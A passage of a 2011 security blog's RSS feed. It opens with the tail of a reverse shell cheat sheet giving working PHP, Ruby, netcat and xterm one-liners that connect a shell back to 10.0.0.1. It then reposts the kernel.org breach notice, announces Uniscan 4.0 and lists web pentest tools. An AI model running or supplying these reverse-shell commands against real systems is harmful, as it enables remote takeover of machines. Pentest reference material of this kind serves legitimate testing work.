<pre>php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3");'</pre>
</blockquote>
<p>If you want a .php file to upload, see the more featureful and robust <a href="http://pentestmonkey.net/tools/web-shells/php-reverse-shell">php-reverse-shell</a>.</p>
<h3>Ruby</h3>
<blockquote>
<pre>ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i &lt;&amp;%d &gt;&amp;%d 2&gt;&amp;%d",f,f,f)'</pre>
</blockquote>
<h3>Netcat</h3>
<p>Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.</p>
<blockquote>
<pre>nc -e /bin/sh 10.0.0.1 1234</pre>
</blockquote>
<p>If you have the wrong version of netcat installed, <a href="http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-127498">Jeff Price points out here</a> that you might still be able to get your reverse shell back like this:</p>
<blockquote>
<pre>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.0.0.1 1234 &gt;/tmp/f</pre>
</blockquote>
<h3>xterm</h3>
<p>One of the simplest forms of reverse shell is an xterm session.  The following command should be run on the server.  It will try to connect back to you (10.0.0.1) on TCP port 6001.</p>
<blockquote>
<pre>xterm -display 10.0.0.1:1</pre>
</blockquote>
<p>To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001).  One way to do this is with Xnest (to be run on your system):</p>
<blockquote>
<pre>Xnest :1</pre>
</blockquote>
<p>You’ll need to authorise the target to connect to you (command also run on your host):</p>
<blockquote>
<pre>xhost +targetip</pre>
</blockquote>
<h3>Further Reading</h3>
<p>Also check out <a href="http://bernardodamele.blogspot.com/2011/09/reverse-shells-one-liners.html">Bernardo’s Reverse Shell One-Liners</a>.  He has some alternative approaches and doesn’t rely on /bin/sh for his Ruby reverse shell.</p>
<p>There’s a <a href="http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-122387">reverse shell written in gawk over here</a>.  Gawk is not something that I’ve ever used myself.  However, it seems to get installed by default quite often, so is exactly the sort of language pentesters might want to use for reverse shells.</p>
<p>source : http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/ubuntuonline.wordpress.com/578/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/ubuntuonline.wordpress.com/578/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/ubuntuonline.wordpress.com/578/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/ubuntuonline.wordpress.com/578/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/ubuntuonline.wordpress.com/578/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/ubuntuonline.wordpress.com/578/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/ubuntuonline.wordpress.com/578/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/ubuntuonline.wordpress.com/578/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/ubuntuonline.wordpress.com/578/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/ubuntuonline.wordpress.com/578/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/ubuntuonline.wordpress.com/578/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/ubuntuonline.wordpress.com/578/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/ubuntuonline.wordpress.com/578/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/ubuntuonline.wordpress.com/578/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ubuntuonline.wordpress.com&amp;blog=8905876&amp;post=578&amp;subd=ubuntuonline&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://ubuntuonline.wordpress.com/2011/11/08/reverse-shell-cheat-sheet/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/98ee6dfc14886fa2dcdf50c90beb8dab?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dienbienphu023</media:title>
		</media:content>
	</item>
		<item>
		<title>Security breach on kernel.org</title>
		<link>http://ubuntuonline.wordpress.com/2011/09/01/security-breach-on-kernel-org/</link>
		<comments>http://ubuntuonline.wordpress.com/2011/09/01/security-breach-on-kernel-org/#comments</comments>
		<pubDate>Thu, 01 Sep 2011 03:30:50 +0000</pubDate>
		<dc:creator>ubuntuonline administrator</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://ubuntuonline.wordpress.com/?p=575</guid>
		<description><![CDATA[    Earlier this month, a number of servers in the kernel.org infrastructure were compromised. We discovered this August 28th. While we currently believe that the source code repositories were unaffected, we are in the process of verifying this and taking steps to enhance security across the kernel.org infrastructure. What happened? Intruders gained root access [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ubuntuonline.wordpress.com&amp;blog=8905876&amp;post=575&amp;subd=ubuntuonline&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p style="text-align:center;"><a href="http://ubuntuonline.files.wordpress.com/2011/09/kernel-org.jpg"><img class="size-full wp-image-576 aligncenter" title="kernel.org" src="http://ubuntuonline.files.wordpress.com/2011/09/kernel-org.jpg?w=490" alt=""   /></a></p>
<p>    Earlier this month, a number of servers in the kernel.org infrastructure were compromised. We discovered this August 28th. While we currently believe that the source code repositories were unaffected, we are in the process of verifying this and taking steps to enhance security across the kernel.org infrastructure.<span id="more-575"></span></p>
<p><strong>What happened?</strong></p>
<ul>
<li>Intruders gained root access on the server Hera. We believe they may have gained this access via a compromised user credential; how they managed to exploit that to root access is currently unknown and is being investigated.</li>
<li>Files belonging to ssh (openssh, openssh-server and openssh-clients) were modified and running live.</li>
<li>A trojan startup file was added to the system start up scripts</li>
<li>User interactions were logged, as well as some exploit code. We have retained this for now.</li>
<li>Trojan initially discovered due to the Xnest /dev/mem error message w/o Xnest installed; have been seen on other systems. It is unclear if systems that exhibit this message are susceptible, compromised or not. If developers see this, and you don&#8217;t have Xnest installed, please investigate.</li>
<li>It *appears* that 3.1-rc2 might have blocked the exploit injector, we don&#8217;t know if this is intentional or a side affect of another bugfix or change.</li>
</ul>
<p><strong>What Has Been Done so far:</strong></p>
<ul>
<li>We have currently taken boxes off line to do a backup and are in the process of doing complete reinstalls.</li>
<li>We have notified authorities in the United States and in Europe to assist with the investigation</li>
<li>We will be doing a full reinstall on all boxes on kernel.org</li>
<li>We are in the process of doing an analysis on the code within git, and the tarballs to confirm that nothing has been modified</li>
</ul>
<p>The Linux community and kernel.org take the security of the kernel.org domain extremely seriously, and are pursuing all avenues to investigate this attack and prevent future ones.</p>
<p>However, it&#8217;s also useful to note that the potential damage of cracking kernel.org is far less than typical software repositories. That&#8217;s because kernel development takes place using the git distributed revision control system, designed by Linus Torvalds. For each of the nearly 40,000 files in the Linux kernel, a cryptographically secure SHA-1 hash is calculated to uniquely define the exact contents of that file. Git is designed so that the name of each version of the kernel depends upon the complete development history leading up to that version. Once it is published, it is not possible to change the old versions without it being noticed.</p>
<p>Those files and the corresponding hashes exist not just on the kernel.org machine and its mirrors, but on the hard drives of each several thousand kernel developers, distribution maintainers, and other users of kernel.org. Any tampering with any file in the kernel.org repository would immediately be noticed by each developer as they updated their personal repository, which most do daily.</p>
<p>We are currently working with the 448 users of kernel.org to change their credentials and change their SSH keys.</p>
<p>We are also currently auditing all security policies to make kernel.org more secure, but are confident that our systems, specifically git, have excellent design to prevent real damage from these types of attacks.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/ubuntuonline.wordpress.com/575/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/ubuntuonline.wordpress.com/575/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/ubuntuonline.wordpress.com/575/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/ubuntuonline.wordpress.com/575/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/ubuntuonline.wordpress.com/575/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/ubuntuonline.wordpress.com/575/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/ubuntuonline.wordpress.com/575/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/ubuntuonline.wordpress.com/575/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/ubuntuonline.wordpress.com/575/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/ubuntuonline.wordpress.com/575/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/ubuntuonline.wordpress.com/575/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/ubuntuonline.wordpress.com/575/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/ubuntuonline.wordpress.com/575/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/ubuntuonline.wordpress.com/575/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ubuntuonline.wordpress.com&amp;blog=8905876&amp;post=575&amp;subd=ubuntuonline&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://ubuntuonline.wordpress.com/2011/09/01/security-breach-on-kernel-org/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/98ee6dfc14886fa2dcdf50c90beb8dab?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dienbienphu023</media:title>
		</media:content>

		<media:content url="http://ubuntuonline.files.wordpress.com/2011/09/kernel-org.jpg" medium="image">
			<media:title type="html">kernel.org</media:title>
		</media:content>
	</item>
		<item>
		<title>Uniscan 4.0 vulnerability scanner Released</title>
		<link>http://ubuntuonline.wordpress.com/2011/08/23/uniscan-4-0-vulnerability-scanner-released/</link>
		<comments>http://ubuntuonline.wordpress.com/2011/08/23/uniscan-4-0-vulnerability-scanner-released/#comments</comments>
		<pubDate>Tue, 23 Aug 2011 05:15:44 +0000</pubDate>
		<dc:creator>ubuntuonline administrator</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Tool]]></category>
		<category><![CDATA[Scanner]]></category>
		<category><![CDATA[Uniscan]]></category>
		<category><![CDATA[Vulnerability]]></category>

		<guid isPermaLink="false">http://ubuntuonline.wordpress.com/?p=571</guid>
		<description><![CDATA[The Uniscan vulnerability scanner is aimed at information security, which aims at finding vulnerabilities in Web systems and is licensed under the GNU GENERAL PUBLIC LICENSE 3.0 (GPL 3). The Uniscan was developed using the Perl programming language to be easier to work with text, has an easy to use regular expressions and is also [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ubuntuonline.wordpress.com&amp;blog=8905876&amp;post=571&amp;subd=ubuntuonline&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><a href="http://ubuntuonline.files.wordpress.com/2011/08/uniscan.gif"><img class="size-full wp-image-572 alignleft" title="uniscan" src="http://ubuntuonline.files.wordpress.com/2011/08/uniscan.gif?w=490" alt=""   /></a>The <strong>Uniscan vulnerability scanner</strong> is aimed at information security, which aims at finding vulnerabilities in Web systems and is licensed under the GNU GENERAL PUBLIC LICENSE 3.0 (GPL 3). <span id="more-571"></span>The Uniscan was developed using the Perl programming language to be easier to work with text, has an easy to use regular expressions and is also multi-threaded.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><strong>Uniscan Features</strong></p>
<ul>
<li>Identification of system pages through a Web Crawler.</li>
<li>Use of threads in the crawler.</li>
<li>Control the maximum number of requests the crawler.</li>
<li>Control of variation of system pages identified by Web Crawler.</li>
<li>Control of file extensions that are ignored.</li>
<li>Test of pages found via the GET method.</li>
<li>Test the forms found via the POST method.</li>
<li>Support for SSL requests (HTTPS).</li>
<li>Proxy support.</li>
</ul>
<p><strong>Official Change Log :</strong></p>
<ul>
<li>Uniscan is now Modularized.</li>
<li>Added directory checks.</li>
<li>Added file checks.</li>
<li>Added PUT method enabled check.</li>
<li>Bug fix in crawler when found ../ directory.</li>
<li>Crawler support POST method.</li>
<li>Configuration by file uniscan.conf.</li>
<li>Added checks for backup of files found by crawler.</li>
<li>Added Blind SQL-i checks.</li>
<li>Added static RCE, RFI, LFI checks.</li>
<li>Crawler improved by checking /robots.txt.</li>
<li>Improved XSS vulnerability detection.</li>
<li>Improved SQL-i vulnerability detection.</li>
</ul>
<div>
<a href="http://sourceforge.net/projects/uniscan/files/4.0/uniscan.tar/download">Download Uniscan 4.0</a></div>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/ubuntuonline.wordpress.com/571/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/ubuntuonline.wordpress.com/571/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/ubuntuonline.wordpress.com/571/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/ubuntuonline.wordpress.com/571/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/ubuntuonline.wordpress.com/571/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/ubuntuonline.wordpress.com/571/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/ubuntuonline.wordpress.com/571/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/ubuntuonline.wordpress.com/571/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/ubuntuonline.wordpress.com/571/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/ubuntuonline.wordpress.com/571/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/ubuntuonline.wordpress.com/571/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/ubuntuonline.wordpress.com/571/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/ubuntuonline.wordpress.com/571/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/ubuntuonline.wordpress.com/571/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ubuntuonline.wordpress.com&amp;blog=8905876&amp;post=571&amp;subd=ubuntuonline&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://ubuntuonline.wordpress.com/2011/08/23/uniscan-4-0-vulnerability-scanner-released/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/98ee6dfc14886fa2dcdf50c90beb8dab?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dienbienphu023</media:title>
		</media:content>

		<media:content url="http://ubuntuonline.files.wordpress.com/2011/08/uniscan.gif" medium="image">
			<media:title type="html">uniscan</media:title>
		</media:content>
	</item>
		<item>
		<title>Top 10 Web Application Penestration Testing Tool (actually 11)</title>
		<link>http://ubuntuonline.wordpress.com/2011/07/30/top-10-web-application-penestration-testing-tool-actually-11/</link>
		<comments>http://ubuntuonline.wordpress.com/2011/07/30/top-10-web-application-penestration-testing-tool-actually-11/#comments</comments>
		<pubDate>Sat, 30 Jul 2011 04:21:33 +0000</pubDate>
		<dc:creator>ubuntuonline administrator</dc:creator>
				<category><![CDATA[Tool]]></category>
		<category><![CDATA[Penestration]]></category>
		<category><![CDATA[tool]]></category>
		<category><![CDATA[web application]]></category>

		<guid isPermaLink="false">http://ubuntuonline.wordpress.com/?p=569</guid>
		<description><![CDATA[Well this is not quite a default top ten list (based on witch one is the smarter/faster/better) but just a simple list of applications you can use in a pentest. Free and open source app come first. 1. Arachni Arachni is a feature-full, modular, high-performance Ruby framework aimed towards helping penetration testers and administrators evaluate [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ubuntuonline.wordpress.com&amp;blog=8905876&amp;post=569&amp;subd=ubuntuonline&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Well this is not quite a default top ten list (based on witch one is the smarter/faster/better) but just a simple list of applications you can use in a pentest. Free and open source app come first.<span id="more-569"></span></p>
<p><strong>1. Arachni</strong></p>
<p>Arachni is a feature-full, modular, high-performance Ruby framework aimed towards helping penetration testers and administrators evaluate the security of web applications.</p>
<p>Arachni is smart, it trains itself by learning from the HTTP responses it receives during the audit process.<br />
Unlike other scanners, Arachni takes into account the dynamic nature of web applications and can detect changes caused while travelling<br />
through the paths of a web application&#8217;s cyclomatic complexity.<br />
This way attack/input vectors that would otherwise be undetectable by non-humans are seamlessly handled by Arachni.</p>
<p>Finally, Arachni yields great performance due to its asynchronous HTTP model (courtesy of Typhoeus).<br />
Thus, you&#8217;ll only be limited by the responsiveness of the server under audit and your available bandwidth.</p>
<p>Note: Despite the fact that Arachni is mostly targeted towards web application security, it can easily be used for general purpose scraping, data-mining, etc with the addition of custom modules.</p>
<p>Sounds cool, right?</p>
<p>Features:</p>
<blockquote><p>Helper audit methods:<br />
For forms, links and cookies auditing.<br />
A wide range of injection strings/input combinations.<br />
Writing RFI, SQL injection, XSS etc modules is a matter of minutes if not seconds.</p></blockquote>
<p>Currently available modules:</p>
<blockquote><p><strong>Audit:</strong><br />
SQL injection<br />
Blind SQL injection using rDiff analysis<br />
Blind SQL injection using timing attacks<br />
CSRF detection<br />
Code injection (PHP, Ruby, Python, JSP, ASP.NET)<br />
Blind code injection using timing attacks (PHP, Ruby, Python, JSP, ASP.NET)<br />
LDAP injection<br />
Path traversal<br />
Response splitting<br />
OS command injection (*nix, Windows)<br />
Blind OS command injection using timing attacks (*nix, Windows)<br />
Remote file inclusion<br />
Unvalidated redirects<br />
XPath injection<br />
Path XSS<br />
URI XSS<br />
XSS<br />
XSS in event attributes of HTML elements<br />
XSS in HTML tags<br />
XSS in HTML &#8216;script&#8217; tags</p>
<p><strong>Recon</strong>:<br />
Allowed HTTP methods<br />
Back-up files<br />
Common directories<br />
Common files<br />
HTTP PUT<br />
Insufficient Transport Layer Protection for password forms<br />
WebDAV detection<br />
HTTP TRACE detection<br />
Credit Card number disclosure<br />
CVS/SVN user disclosure<br />
Private IP address disclosure<br />
Common backdoors<br />
.htaccess LIMIT misconfiguration<br />
Interesting responses<br />
HTML object grepper<br />
E-mail address disclosure<br />
US Social Security Number disclosure<br />
Forceful directory listing&lt;</p></blockquote>
<p>Download <a href="https://github.com/Zapotek/arachni/downloads" target="_blank">Here</a> | Webiste <a href="http://arachni.segfault.gr/" target="_blank">here</a></p>
<p>Free, powerfull and monthly updated!</p>
<p><strong>2. OWASP Zed Attack Proxy Project</strong></p>
<p>The Zed Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications.</p>
<p>It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing.</p>
<p>ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.</p>
<p><strong>Some of ZAP&#8217;s features:</strong></p>
<blockquote><p>Intercepting Proxy</p>
<p>Automated scanner<br />
Passive scanner<br />
Brute Force scanner<br />
Spider<br />
Fuzzer<br />
Port scanner<br />
Dynamic SSL certificates<br />
API<br />
Beanshell integration</p>
<p>Some of ZAP&#8217;s characteristics:<br />
Easy to install (just requires java 1.6)<br />
Ease of use a priority<br />
Comprehensive help pages<br />
Fully internationalized<br />
Under active development<br />
Open source<br />
Free (no paid for &#8216;Pro&#8217; version)<br />
Cross platform<br />
Involvement actively encouraged</p></blockquote>
<p>Download <a href="http://code.google.com/p/zaproxy/downloads/list" target="_blank">Here</a> | Webiste <a href="https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project" target="_blank">here</a></p>
<p><strong>3. w3af</strong></p>
<p>w3af is a Web Application Attack and Audit Framework. The project&#8217;s goal is to create a framework to find and exploit web application vulnerabilities that is easy to use and extend. To read our short and long term objectives, please click over the Project Objectives item in the main menu. This project is currently hosted at SourceForge , for further information, you may also want to visit w3af SourceForge project page .<br />
The guys from backtrack (well it has connections with metasploit) included this awesome tool in their latest release.</p>
<p>This is only a small list of plugins that are available in w3af, you should really check out this tool.</p>
<p><strong>Audit</strong>:</p>
<blockquote><p>xsrf<br />
htaccessMethods<br />
sqli<br />
sslCertificate<br />
fileUpload<br />
mxInjection<br />
generic<br />
localFileInclude<br />
unSSL<br />
xpath<br />
osCommanding<br />
remoteFileInclude<br />
dav<br />
ssi<br />
eval<br />
buffOverflow<br />
xss<br />
xst<br />
blindSqli<br />
formatString<br />
preg_replace<br />
globalRedirect<br />
LDAPi<br />
phishingVector<br />
responseSplitting</p></blockquote>
<p>Download <a href="http://w3af.sourceforge.net/#download" target="_blank">here </a>| Project <a href="http://w3af.sourceforge.net/" target="_blank">here</a></p>
<p><strong>4. Vega</strong></p>
<p>Vega is an open source platform to test the security of web applications. Vega can help you find and validate SQL Injections, Cross-Site Scripting (XSS), inadvertently disclosed sensitive information, and other vulnerabilities. It is written in Java, GUI based, and runs on Linux, OS X, and Windows.</p>
<p>Vega includes an automated scanner for quick tests and an intercepting proxy for tactical inspection. Vega can be extended using a powerful API in the language of the web: Javascript.</p>
<p>Vega was developed by Subgraph in Montreal.</p>
<p><strong>Modules:</strong></p>
<blockquote><p><strong></strong><br />
Cross Site Scripting (XSS)<br />
SQL Injection<br />
Directory Traversal<br />
URL Injection<br />
Error Detection<br />
File Uploads<br />
Sensitive Data Discovery</p></blockquote>
<p><strong>Core:</strong></p>
<blockquote><p><strong></strong>Automated Crawler and Vulnerability Scanner<br />
Consistent UI<br />
Website Crawler<br />
Intercepting Proxy<br />
SSL MITM<br />
Content Analysis<br />
Extensibility through a Powerful Javascript Module API<br />
Customizable alerts<br />
Database and Shared Data Model</p>
<p>Download <a href="http://www.subgraph.com/vega_download.php" target="_blank">here </a>| Website <a href="http://www.subgraph.com/" target="_blank">here</a></p></blockquote>
<p><strong>5. Acunetix</strong></p>
<p>You heard about this program so many times. Is it good? Well you can download the free edition and test it.<br />
Acunetix WVS automatically checks your web applications for SQL Injection, XSS &amp; other web vulnerabilities.</p>
<blockquote><p>HTTP Editor &#8211; Construct HTTP/HTTPS requests and analyze the web server response.<br />
HTTP Sniffer &#8211; Intercept, log and modify all HTTP/HTTPS traffic and reveal all data sent by a web application.<br />
HTTP Fuzzer &#8211; Perform sophisticated fuzzing tests to test web applications input validation and handling of<br />
unexpected and invalid random data. Test thousands of input parameters with the easy to use rule builder of<br />
the HTTP Fuzzer. Tests that would have taken days to perform manually can now be done in minutes.<br />
Script your own custom web vulnerability attacks with the WVS Scripting tool. A scripting SDK documentation<br />
is available from the Acunetix website.<br />
Blind SQL Injector &#8211; An automated database data extraction tool that is ideal for penetration testers who wish to make further tests manually</p></blockquote>
<p>Download <a href="http://www.acunetix.com/cross-site-scripting/scanner.htm" target="_blank">here </a>| Website <a href="http://www.acunetix.com/" target="_blank">here</a></p>
<p>This tool has a free version (the above link) but also an advance version (paid)</p>
<p><strong>6. Skipfish</strong></p>
<p>Skipfish is an active web application security reconnaissance tool. It prepares an interactive sitemap for the targeted site by carrying out a recursive crawl and dictionary-based probes. The resulting map is then annotated with the output from a number of active (but hopefully non-disruptive) security checks. The final report generated by the tool is meant to serve as a foundation for professional web application security assessments.</p>
<blockquote><p>High risk flaws (potentially leading to system compromise):<br />
Server-side SQL / PHP injection (including blind vectors, numerical parameters).<br />
Explicit SQL-like syntax in GET or POST parameters.<br />
Server-side shell command injection (including blind vectors).<br />
Server-side XML / XPath injection (including blind vectors).<br />
Format string vulnerabilities.<br />
Integer overflow vulnerabilities.<br />
Locations accepting HTTP PUT.<br />
Medium risk flaws (potentially leading to data compromise):</p>
<p>Stored and reflected XSS vectors in document body (minimal JS XSS support present).<br />
Stored and reflected XSS vectors via HTTP redirects.<br />
Stored and reflected XSS vectors via HTTP header splitting.<br />
Directory traversal / file inclusion (including constrained vectors).<br />
Assorted file POIs (server-side sources, configs, etc).<br />
Attacker-supplied script and CSS inclusion vectors (stored and reflected).<br />
External untrusted script and CSS inclusion vectors.<br />
Mixed content problems on script and CSS resources (optional).<br />
Password forms submitting from or to non-SSL pages (optional).<br />
Incorrect or missing MIME types on renderables.<br />
Generic MIME types on renderables.<br />
Incorrect or missing charsets on renderables.<br />
Conflicting MIME / charset info on renderables.<br />
Bad caching directives on cookie setting responses.</p></blockquote>
<p>Download <a href="http://code.google.com/p/skipfish/downloads/list" target="_blank">here </a>| Project <a href="http://code.google.com/p/skipfish/" target="_blank">here</a></p>
<p><strong>7. Websecurify</strong></p>
<p>Websecurify is an integrated web security testing environment, which can be used to identify web vulnerabilities by using advanced browser automation, discovery and fuzzing technologies. The platform is designed to perform automated as well as manual vulnerability tests and it is constantly improved and fine-tuned by a team of world class web application security penetration testers and the feedback from an active open source community.</p>
<p>The built-in vulnerability scanner and analyzation engine are capable of automatically detecting many types of web application vulnerabilities as you proceed with the penetration test. The list of automatically detected vulnerabilities include:</p>
<blockquote><p>SQL Injection<br />
Local and Remote File Include<br />
Cross-site Scripting<br />
Cross-site Request Forgery<br />
Information Disclosure Problems<br />
Session Security Problems<br />
many others including all categories in the OWASP TOP 10</p></blockquote>
<p>Download <a href="http://www.websecurify.com/download" target="_blank">here </a>| Project <a href="http://www.websecurify.com/" target="_blank">here</a></p>
<p><strong>8. Burp</strong></p>
<p>Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application&#8217;s attack surface, through to finding and exploiting security vulnerabilities.</p>
<p>Burp Suite contains the following key components:</p>
<blockquote><p>An intercepting proxy, which lets you inspect and modify traffic between your browser and the target application.<br />
An application-aware spider, for crawling content and functionality.<br />
An advanced web application scanner, for automating the detection of numerous types of vulnerability.<br />
An intruder tool, for performing powerful customized attacks to find and exploit unusual vulnerabilities.<br />
A repeater tool, for manipulating and resending individual requests.<br />
A sequencer tool, for testing the randomness of session tokens.<br />
The ability to save your work and resume working later.<br />
Extensibility, allowing you to easily write your own plugins, to perform complex and highly customized tasks within Burp.</p></blockquote>
<p>Download <a href="http://portswigger.net/burp/download.html" target="_blank">here </a>| Webiste <a href="http://portswigger.net/burp//" target="_blank">here</a></p>
<p>Free and paid editions are available.</p>
<p><strong>9. Netsparker</strong></p>
<p>Netsparker will try lots of different things to confirm identified issues. If it can&#8217;t confirm it and if it requires manual inspection, it&#8217;ll inform you about a potential issue generally prefixed as [Possible], but if it&#8217;s confirmed, that&#8217;s it. It&#8217;s a vulnerability. You can trust it.</p>
<p>Netsparker confirms vulnerabilities by exploiting them in a safe manner. If a vulnerability is successfully exploited it can&#8217;t be a false-positive. Exploitation is carried out in a non-destructive way.</p>
<blockquote><p>SQL Injection<br />
XSS (Cross-site Scripting)<br />
XSS (Cross-site Scripting) via Remote File Injection<br />
XSS (Cross-site Scripting) in URLs<br />
Local File Inclusions &amp; Arbitrary File Reading<br />
Remote File Inclusions<br />
Remote Code Injection / Evaluation<br />
OS Level Command Injection<br />
CRLF / HTTP Header Injection / Response Splitting<br />
Find Backup Files<br />
Crossdomain.xml Analysis<br />
Finds and Analyse Potential Issues in Robots.txt<br />
Finds and Analyse Google Sitemap Files<br />
Detect TRACE / TRACK Method Support<br />
Detect ASP.NET Debugging<br />
Detect ASP.NET Trace<br />
Checks for CVS, GIT and SVN Information and Source Code Disclosure Issues<br />
Finds PHPInfo() pages and PHPInfo() disclosure in other pages<br />
Finds Apache Server-Status and Apache Server-Info pages<br />
Find Hidden Resources<br />
Basic Authentication over HTTP<br />
Password Transmitted over HTTP<br />
Password Form Served over HTTP<br />
Source Code Disclosure<br />
Auto Complete Enabled<br />
ASP.NET ViewState Analysis<br />
ViewState is not Signed<br />
ViewState is not Encrypted<br />
E-mail Address Disclosure<br />
Internal IP Disclosure<br />
Cookies are not marked as Secure<br />
Cookies are not marked as HTTPOnly<br />
Directory Listing<br />
Stack Trace Disclosure<br />
Version Disclosure<br />
Access Denied Resources<br />
Internal Path Disclosure<br />
Programming Error Messages<br />
Database Error Messages</p></blockquote>
<p>Request a trial <a href="https://www.mavitunasecurity.com/demo/" target="_blank">here </a>| Website <a href="http://www.mavitunasecurity.com/netsparker/" target="_blank">here</a></p>
<p><strong>10. WebSurgery</strong></p>
<p>WebSurgery is a suite of tools for security testing of web applications. It was designed for security auditors to help them with the web application planning and exploitation. Currently, it uses an efficient, fast and stable Web Crawler, File/Dir Bruteforcer and Fuzzer for advanced exploitation of known and unusual vulnerabilities such as SQL Injections, Cross site scripting (XSS), brute-force for login forms, identification of firewall-filtered rules etc.</p>
<p>Download <a href="http://www.surgeonix.com/blog/downloads/websurgery/setup.msi" target="_blank">here </a>| Webiste <a href="http://www.surgeonix.com/blog/index.php/archives/category/tools" target="_blank">here</a></p>
<p><strong>11. IBM Rational AppScan</strong></p>
<p>So&#8230; IBM. Yep.. IBM.</p>
<p>Rational AppScan has 8 versions. Yes. 8. Source, Standard, Enterprise, Reporting Console, Build, Tester Express, OnDemand. Don&#8217;t think that its the last on my list its the worst web app scanner. (Reporting Console is just a reporting console so that makes it only 7 versions :p )</p>
<p>Here is what they are saying:</p>
<p>IBM Rational AppScan is an industry leading web application security testing tool that scans and tests for all common web application vulnerabilities – including those identified in the WASC threat classification – such as SQL-Injection, Cross-site Scripting and Buffer Overflow.<br />
Provides broad application coverage, including Web 2.0/Ajax applications<br />
Generates advanced remediation capabilities including a comprehensive task list to ease vulnerability remediation<br />
